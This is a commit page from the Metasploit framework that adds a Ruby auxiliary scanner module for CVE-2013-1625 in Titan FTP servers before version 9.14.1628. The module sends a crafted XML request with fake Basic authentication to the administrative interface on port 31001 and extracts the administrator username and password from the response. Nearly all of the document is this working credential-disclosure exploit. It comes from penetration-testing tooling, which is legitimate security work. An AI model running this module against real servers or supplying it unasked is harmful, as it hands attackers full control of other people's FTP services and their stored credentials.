Merge branch 'module/titan_ftp_admin_password' of github.com:zeroSteiner/metasploit-framework into zeroSteiner-module/titan_ftp_admin_password
commit
7b10e68a03
|
@ -0,0 +1,97 @@
|
|||
require 'msf/core'
|
||||
require 'rexml/document'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Scanner
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Titan FTP Administrative Password Disclosure',
|
||||
'Description' => %q{
|
||||
On Titan FTP servers prior to version 9.14.1628, an attacker can
|
||||
retrieve the username and password for the administrative XML-RPC
|
||||
interface, which listens on TCP Port 31001 by default, by sending an
|
||||
XML request containing bogus authentication information. After sending
|
||||
this request, the server responds with the legitimate username and
|
||||
password for the service. With this information, an attacker has
|
||||
complete control over the FTP service, which includes the ability to
|
||||
add and remove FTP users, as well as add, remove, and modify
|
||||
available directories and their permissions.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Spencer McIntyre'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2013-1625' ],
|
||||
],
|
||||
)
|
||||
|
||||
register_options([Opt::RPORT(31001)], self.class)
|
||||
deregister_options('PASSWORD', 'USERNAME')
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => "/admin.dll",
|
||||
'method' => 'POST',
|
||||
'headers' => {
|
||||
'SRT-WantXMLResponses' => 'true',
|
||||
'SRT-XMLRequest' => 'true',
|
||||
'Authorization' => 'Basic FAKEFAKE'
|
||||
},
|
||||
'data' => "<SRRequest><SRTarget>DOM</SRTarget><SRAction>GCFG</SRAction><SRServerName/><SRPayload></SRPayload></SRRequest>",
|
||||
})
|
||||
return if not res
|
||||
|
||||
if res.code == 400
|
||||
vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded 400, It's Likely Patched")
|
||||
return
|
||||
elsif res.code != 200
|
||||
vprint_status("#{ip}:#{datastore['RPORT']} - Server Responeded With An Unknown Response Code Of #{res.code}")
|
||||
return
|
||||
end
|
||||
|
||||
xml_data = res.body.strip
|
||||
resp_root = REXML::Document.new(xml_data).root
|
||||
|
||||
srresponse = resp_root.elements.to_a("//SRResponse")[0]
|
||||
srdomainparams = srresponse.elements.to_a("//SRDomainParams")[0]
|
||||
|
||||
info = {}
|
||||
srdomainparams.elements.each do |node|
|
||||
case node.name
|
||||
when "DomainName"
|
||||
info[:domain] = Rex::Text.uri_decode(node.text)
|
||||
when "BaseDataDir"
|
||||
info[:basedir] = Rex::Text.uri_decode(node.text)
|
||||
when "CreationDate"
|
||||
info[:username] = Rex::Text.uri_decode(node.text)
|
||||
when "CreationTime"
|
||||
info[:password] = Rex::Text.uri_decode(node.text)
|
||||
end
|
||||
end
|
||||
|
||||
if (info[:username] and info[:password])
|
||||
if (info[:domain] and info[:basedir])
|
||||
print_good("#{ip}:#{datastore['RPORT']} - Domain: #{info[:domain]} Base Directory: #{info[:basedir]}")
|
||||
end
|
||||
print_good("#{ip}:#{datastore['RPORT']} - Admin Credentials: #{info[:username]} #{info[:password]}")
|
||||
report_auth_info(
|
||||
:host => ip,
|
||||
:port => datastore['RPORT'],
|
||||
:user => info[:username],
|
||||
:pass => info[:password],
|
||||
:ptype => "password",
|
||||
:proto => "http",
|
||||
:sname => "Titan FTP Admin Console"
|
||||
)
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue